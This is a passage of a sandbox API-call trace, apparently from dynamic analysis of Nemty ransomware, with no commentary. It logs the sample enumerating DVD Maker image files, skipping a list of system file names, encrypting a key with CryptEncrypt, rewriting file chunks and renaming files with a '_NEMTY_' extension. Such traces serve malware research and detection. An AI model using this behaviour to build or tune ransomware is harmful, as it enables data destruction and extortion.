lpUsedDefaultChar=0x0) returned 31 [0060.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0060.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0060.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0060.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0060.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Circle_SelectionSubpictureB.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0060.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0060.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Circle_SelectionSubpictureB.png", cchWideChar=31, lpMultiByteStr=0x4f9ecb8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Circle_SelectionSubpictureB.png", lpUsedDefaultChar=0x0) returned 31 [0060.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0060.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0060.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Circle_SelectionSubpictureB.png", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0060.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0060.232] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Circle_SelectionSubpictureB.png", cchWideChar=31, lpMultiByteStr=0x4f9ed08, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Circle_SelectionSubpictureB.png", lpUsedDefaultChar=0x0) returned 31 [0060.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0060.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94268 [0060.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0060.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941c0 [0060.232] Sleep (dwMilliseconds=0x5) [0060.245] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd78e42f0, dwHighDateTime=0x1d561e7)) [0060.245] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xd78e42f0, dwHighDateTime=0x1d561e7)) [0060.245] GetLastError () returned 0x5 [0060.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0060.245] GetLastError () returned 0x5 [0060.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0060.245] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0060.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0060.245] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0060.245] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0060.245] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0060.245] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0060.245] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="KkrfXuDTgS0XRZYmcr95knrbMMK9zUthr/6e8HKjAug9g/WYQZVxn6ZpXOoIYll+\r\nDZwR5pnL9pWgrvwkCt3zImAy6rLyaQxFkybz2BwDSf+lmDN5rG7I064JAEDlKFzq\r\nbf/BE9FN5DHV3BrD4qLFVOpYuL6XOjLCw+ctWAn/weN6KDx3Ac9GXlJL/O2jtpvU\r\nT8e5YpEhmUrPS69HMsL39mXoSfClKJBaxheL5YAQDDwa/V1Yfp6da+PS9mV9qOsl\r\nyypGVmLuVlaWqpXA9KzH0hoZQKzgGbL4YflHcPBTRbLRo6n645Fe/YS1ILA+MvW0\r\nI/vEGcuMbuji3csaGwzzZg==\r\n", pcchString=0x653ec5c) returned 1 [0060.246] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0060.246] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0060.246] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0060.246] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0060.246] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0060.246] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0060.246] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0060.246] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0060.246] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6348d48 [0060.247] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.247] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.256] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.256] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.256] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.256] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.265] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.265] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.265] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.265] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.274] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.274] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.274] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.274] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.283] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.283] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.283] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.283] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.292] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.293] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.293] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.293] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.302] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.302] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.302] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.302] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.311] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.311] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.311] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.311] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.320] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.320] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.320] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.320] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.330] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.330] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.330] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.330] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.339] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.339] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.339] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.339] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.345] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.345] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.345] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.345] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x6348d48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0060.351] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.351] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.351] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0060.351] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0060.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d48 | out: hHeap=0x4f90000) returned 1 [0060.351] CloseHandle (hObject=0xffffffff) returned 0 [0060.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0060.351] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0060.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0060.351] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0060.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0060.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0060.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0060.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0060.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0060.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0060.351] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Circle_SelectionSubpictureB.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\circle_selectionsubpictureb.png._nemty_kgobjgd_")) returned 0 [0060.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0060.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0060.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0060.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0060.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0060.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0060.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0060.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0060.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0060.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0060.352] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee2d70a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ee2d70a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4c9679c1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13c3, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="Circle_VideoInset.png", cAlternateFileName="")) returned 1 [0060.352] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2=".") returned 1 [0060.352] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="..") returned 1 [0060.352] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="...") returned 1 [0060.352] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="windows") returned -1 [0060.352] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="$RECYCLE.BIN") returned 1 [0060.352] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="rsa") returned -1 [0060.352] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="NTDETECT.COM") returned -1 [0060.352] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="ntldr") returned -1 [0060.352] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="MSDOS.SYS") returned -1 [0060.352] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="IO.SYS") returned -1 [0060.352] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="boot.ini") returned 1 [0060.352] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="boot.ini") returned 1 [0060.352] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="AUTOEXEC.BAT") returned 1 [0060.352] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="ntuser.dat") returned -1 [0060.352] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="desktop.ini") returned -1 [0060.352] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="CONFIG.SYS") returned -1 [0060.352] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="RECYCLER") returned -1 [0060.352] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="BOOTSECT.BAK") returned 1 [0060.352] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="bootmgr") returned 1 [0060.352] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="programdata") returned -1 [0060.352] lstrcmpiW (lpString1="Circle_VideoInset.png", lpString2="appdata") returned 1 [0060.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0060.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Circle_VideoInset.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0060.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0060.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Circle_VideoInset.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Circle_VideoInset.png", lpUsedDefaultChar=0x0) returned 21 [0060.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0060.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0060.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Circle_VideoInset.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0060.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0060.352] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Circle_VideoInset.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Circle_VideoInset.png", lpUsedDefaultChar=0x0) returned 21 [0060.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0060.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0060.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0060.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0060.353] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Circle_VideoInset.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0060.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0060.353] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Circle_VideoInset.png", cchWideChar=21, lpMultiByteStr=0x4f9ecb8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Circle_VideoInset.png", lpUsedDefaultChar=0x0) returned 21 [0060.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0060.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0060.353] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Circle_VideoInset.png", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0060.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0060.353] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Circle_VideoInset.png", cchWideChar=21, lpMultiByteStr=0x4f9ed08, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Circle_VideoInset.png", lpUsedDefaultChar=0x0) returned 21 [0060.353] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0060.353] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0060.353] HeapFree (in: hHeap=0x4f90000, 